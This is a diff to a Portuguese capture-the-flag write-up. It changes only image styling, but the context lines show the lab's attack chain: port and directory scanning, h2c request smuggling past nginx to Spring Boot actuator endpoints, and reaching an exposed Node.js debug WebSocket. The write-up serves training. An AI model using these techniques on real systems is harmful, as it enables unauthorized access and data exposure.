@@ -19,12 +19,12 @@ Eu fiz esse desafio em meu ambiente de trabalho com Windows 11 via WSL. Utilizei
1919
2020### 1.1 Scan de portas
2121
22- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/47dffbac-2eea-4c65-b6b7-f51d8582842b " />
22+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/47dffbac-2eea-4c65-b6b7-f51d8582842b " />
2323
2424``` bash
2525nmap -sV 172.16.3.113
2626```
27- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/3f824288-3cf3-486d-b3c8-f9a9ce516e10 " />
27+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/3f824288-3cf3-486d-b3c8-f9a9ce516e10 " />
2828
2929``` bash
3030rustscan -a 172.16.3.113
@@ -43,7 +43,7 @@ ffuf -c -u http://172.16.3.113:8000/FUZZ \
4343 -w ~ /SecLists/Discovery/Web-Content/raft-large-words.txt -t 150
4444```
4545
46- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/bcbd33eb-7cc2-4fab-8487-f15b40896f62 " />
46+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/bcbd33eb-7cc2-4fab-8487-f15b40896f62 " />
4747
4848** Descobertas importantes:**
4949
@@ -52,7 +52,7 @@ ffuf -c -u http://172.16.3.113:8000/FUZZ \
5252/actuator → 403 Forbidden
5353```
5454
55- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/c0539110-3f00-4079-82d6-18a82da77a50 " />
55+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/c0539110-3f00-4079-82d6-18a82da77a50 " />
5656
5757** Análise técnica:**
5858A presença de "* Whitelabel Error Page* " e o diretório "* actuator* " indica ** Spring Boot Framework** . Esta identificação nos permite usar wordlists específicas para enumerar endpoints do Spring Boot Actuator.
@@ -61,7 +61,7 @@ A presença de "*Whitelabel Error Page*" e o diretório "*actuator*" indica **Sp
6161
6262### 2.1 Wordlist especializada
6363
64- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/a953fe73-eb8f-4604-88cd-0c11afac6b24 " />
64+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/a953fe73-eb8f-4604-88cd-0c11afac6b24 " />
6565
6666``` bash
6767ffuf -c -u http://172.16.3.113:8000/FUZZ \
@@ -128,7 +128,7 @@ cliente → nginx (HTTP/1.1 proxy) → backend (Spring Boot + h2c support)
128128 - Nginx não consegue mais inspecionar/filtrar requisições
129129 - Todas as regras de proxy_pass são ignoradas
130130
131- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/1ab35a7c-a8c2-4924-a00b-7fc576e06535 " />
131+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/1ab35a7c-a8c2-4924-a00b-7fc576e06535 " />
132132
133133### 4.4 Implicações de segurança do bypass
134134
@@ -179,7 +179,7 @@ source ~/.bashrc
179179
180180### 5.2 Testando vulnerabilidade
181181
182- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/5cab71a2-5ca7-4906-8373-effa398878f3 " />
182+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/5cab71a2-5ca7-4906-8373-effa398878f3 " />
183183
184184``` bash
185185h2csmuggler -x http://172.16.3.113:8000 --test
@@ -208,13 +208,13 @@ h2csmuggler -x http://172.16.3.113:8000 http://backend/actuator
208208h2csmuggler -x http://172.16.3.113:8000 http://backend/actuator/env
209209```
210210
211- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/dd25fd9f-4122-4d15-9d60-81496f98a51a " />
211+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/dd25fd9f-4122-4d15-9d60-81496f98a51a " />
212212
213213Se formos ao final do arquivo poderemos identificar o JSON que esperamos do /env
214214
215215## 6. Informações sensíveis encontradas no /actuator/env
216216
217- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/aba4d6c3-4061-4527-8219-5b175216c2c8 " />
217+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/aba4d6c3-4061-4527-8219-5b175216c2c8 " />
218218
219219Ao analisar o JSON retornado do ` /env ` (utilizando um formatter para melhor legibilidade), identificamos
220220
@@ -224,7 +224,7 @@ Ao analisar o JSON retornado do `/env` (utilizando um formatter para melhor legi
224224hackingclub{c71b3ebb3e25f3c8304d90***************309a3f}
225225```
226226
227- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/c05b08ba-cc27-4adc-9fb2-f205fe80af69 " />
227+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/c05b08ba-cc27-4adc-9fb2-f205fe80af69 " />
228228
229229 - Não se acostume com a flag estando visível na imagem acima, a próxima você terá que botar a mão na massa para achar!
230230
@@ -248,7 +248,7 @@ Juntando o que encontramos anteriormente com esse json podemos identificar/mapea
248248/admin/internal-web-socket-endpoint
249249```
250250
251- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/6d4ff368-01bd-44a9-a930-c6800edf0530 " />
251+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/6d4ff368-01bd-44a9-a930-c6800edf0530 " />
252252
253253### 6.2 Chrome DevTools Protocol (CDP) - Contexto técnico
254254
@@ -278,13 +278,13 @@ CDP **nunca deve ser exposto publicamente** pois permite execução de código a
278278
279279## 7. Explorando o modo debug do Node.js
280280
281- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/804f407a-ad91-45d9-a59d-ebfaf4d86ed5 " />
281+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/804f407a-ad91-45d9-a59d-ebfaf4d86ed5 " />
282282
283283### 7.1 Primeiro teste HTTP normal
284284
285285Utilizando o Postman, com proxy já configurada para testar, vamos selecionar não apenas a opção WebSocket como também HTTP :
286286
287- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/ab46653e-c951-49eb-af92-f829429a53a3 " />
287+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/ab46653e-c951-49eb-af92-f829429a53a3 " />
288288
289289``` bash
290290GET http://172.16.3.113:8000/admin/internal-web-socket-endpoint/
@@ -315,13 +315,13 @@ ws://172.16.3.113:8000/admin/internal-web-socket-endpoint/
315315Unexpected server response: 400
316316```
317317
318- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/d1646138-3ed5-4d08-812d-a6fa3a577c14 " />
318+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/d1646138-3ed5-4d08-812d-a6fa3a577c14 " />
319319
320320** Conclusão:** Não é o WebSocket principal, falta descobrir o caminho correto.
321321
322322## 8. Descobrindo WebSocket real via DevTools API
323323
324- <img width =" 800 " alt =" image " src =" https://opengraph.githubassets.com/c539d7ae204980d72d2ab4a76bba47985d3c60faa939bf12f27b1a09388d1fff/ChromeDevTools/devtools-protocol " />
324+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://opengraph.githubassets.com/c539d7ae204980d72d2ab4a76bba47985d3c60faa939bf12f27b1a09388d1fff/ChromeDevTools/devtools-protocol " />
325325
326326### 8.1 Como funciona o Node.js Inspector
327327
@@ -362,7 +362,7 @@ A URL do WebSocket debug usa a raiz + ID. Como estamos acessando via `/admin/int
362362ws://172.16.3.113:8000/admin/internal-web-socket-endpoint/7efa5220-45c7-44c2-b367-d9068de778bd
363363```
364364
365- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/d47d4b67-07eb-4888-acef-3f69381a0b8a " />
365+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/d47d4b67-07eb-4888-acef-3f69381a0b8a " />
366366
367367** ✅ Conexão WebSocket aceita com sucesso no Postman.**
368368
@@ -376,7 +376,7 @@ ws://172.16.3.113:8000/admin/internal-web-socket-endpoint/7efa5220-45c7-44c2-b36
376376{}
377377```
378378
379- <img width =" 800 " alt =" image " src =" https://github.com/user-attachments/assets/cd232c50-857d-4829-98e9-13b4f6232048 " />
379+ <img width =" 800 " alt =" image " style = " display : block ; margin : 0 auto ; " src =" https://github.com/user-attachments/assets/cd232c50-857d-4829-98e9-13b4f6232048 " />
380380
381381** Erros obtidos:**
382382
@@ -959,7 +959,7 @@ Este cenário demonstra uma **cadeia crítica** onde múltiplas vulnerabilidades
959959
960960-- -
961961
962- < img width= " 800" alt= " image" src= " https://github.com/user-attachments/assets/31368014-08f4-4943-a1d6-521341f4c673" / >
962+ < img width= " 800" alt= " image" style = " display: block; margin: 0 auto; " src= " https://github.com/user-attachments/assets/31368014-08f4-4943-a1d6-521341f4c673" / >
963963
964964
965965** Flags capturadas: **
@@ -975,7 +975,7 @@ Este cenário demonstra uma **cadeia crítica** onde múltiplas vulnerabilidades
975975- Docker privilege escalation
976976- Host filesystem mounting
977977
978- < img width= " 800" alt= " image" src= " https://github.com/user-attachments/assets/f0667214-3a4e-4ad9-b792-0d97287fb8ca" / >
978+ < img width= " 800" alt= " image" style = " display: block; margin: 0 auto; " src= " https://github.com/user-attachments/assets/f0667214-3a4e-4ad9-b792-0d97287fb8ca" / >
979979
980980###### Nota: Mantive apenas visivel em foto uma flag (primeira), não tenho intenção de dar cola.
981981
0 commit comments